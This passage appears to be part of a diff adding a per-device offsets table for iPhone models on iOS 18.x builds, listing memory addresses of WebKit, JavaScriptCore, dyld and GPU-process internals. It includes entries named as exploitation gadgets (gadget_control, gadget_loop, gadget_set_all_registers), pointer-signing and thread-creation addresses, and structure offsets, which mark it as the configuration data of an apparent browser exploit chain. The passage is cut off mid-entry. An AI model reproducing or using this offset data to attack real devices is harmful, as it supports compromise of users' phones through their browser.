CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,8_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadea98n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade580n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade4e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade530n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edadd928n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb648n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9bdfb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdc60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdc68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdc70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bdbb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdc78n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257b97e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e218n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62478n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6afb8n, + WebCore__initPKContact_value: 0x1eda6afc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69780n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69778n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69760n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f3c0n, + __pthread_head: 0x26903c020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4d90n, + gadget_control_1_ios184: 0x23f1d42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f24a150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d231da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfaa16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218abb820n, + libGPUCompilerImplLazy__invoker: 0x23cf797e8n, + libGPUCompilerImplLazy_cstring: 0x23c0c3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca258n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d280000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c94c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf0d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadebc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeb20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be2a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be2a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be2b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be2b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e7fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e858n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62ab8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5f8n, + WebCore__initPKContact_value: 0x1eda6b600n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69dc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69db8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69da0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fa00n, + __pthread_head: 0x269374020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a53d0n, + gadget_control_1_ios184: 0x23f0fe2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f26d150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d241da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfba16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acb820n, + libGPUCompilerImplLazy__invoker: 0x23cea37e8n, + libGPUCompilerImplLazy_cstring: 0x23bfed870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca898n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d290000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9b00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + 